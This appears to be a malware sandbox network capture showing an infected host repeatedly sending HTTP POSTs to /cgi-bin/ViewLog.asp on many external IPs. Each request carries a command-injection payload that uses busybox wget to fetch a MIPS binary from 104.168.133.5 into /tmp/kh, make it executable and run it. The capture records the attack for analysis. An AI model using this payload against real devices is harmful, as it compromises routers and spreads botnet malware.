Nov 23, 2023 05:17:15.718323946 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:17.158329964 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
407	192.168.2.13	57600	31.136.107.23	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:17.511343002 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:20.678363085 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:26.822344065 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:38.854295969 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:03.942256927 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
408	192.168.2.13	52076	94.122.204.253	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:17.545063019 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
409	192.168.2.13	40124	62.29.96.20	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:17.545124054 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
410	192.168.2.13	40524	85.95.120.191	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:17.955235958 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:18.136202097 CET	405	IN	HTTP/1.0 302 Found Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Location: https://192.168.0.14:801/cgi-bin/ViewLog.asp Content-type: text/html Data Raw: 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 33 30 32 20 44 6f 63 75 6d 65 6e 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 54 68 69 73 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 31 39 32 2e 31 36 38 2e 30 2e 31 34 3a 38 30 31 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 22 3e 68 65 72 65 3c 2f 41 3e 2e 3c 50 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html> <head> <title>302 Document moved</title> </head><body>This document has moved <A HREF="https://192.168.0.14:801/cgi-bin/ViewLog.asp">here</A>.<P></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
411	192.168.2.13	47490	31.136.44.68	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:17.957998991 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:18.534365892 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:19.654433012 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:21.958440065 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:26.566303968 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:35.526316881 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:53.702227116 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
412	192.168.2.13	39204	31.136.170.21	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:17.958403111 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:18.534348965 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:19.654442072 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:21.958529949 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:26.566314936 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:35.526323080 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:53.702229023 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
413	192.168.2.13	36498	94.122.21.78	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:17.963757992 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
414	192.168.2.13	59648	62.29.29.167	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:17.994545937 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
415	192.168.2.13	51320	62.82.153.15	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:18.726110935 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
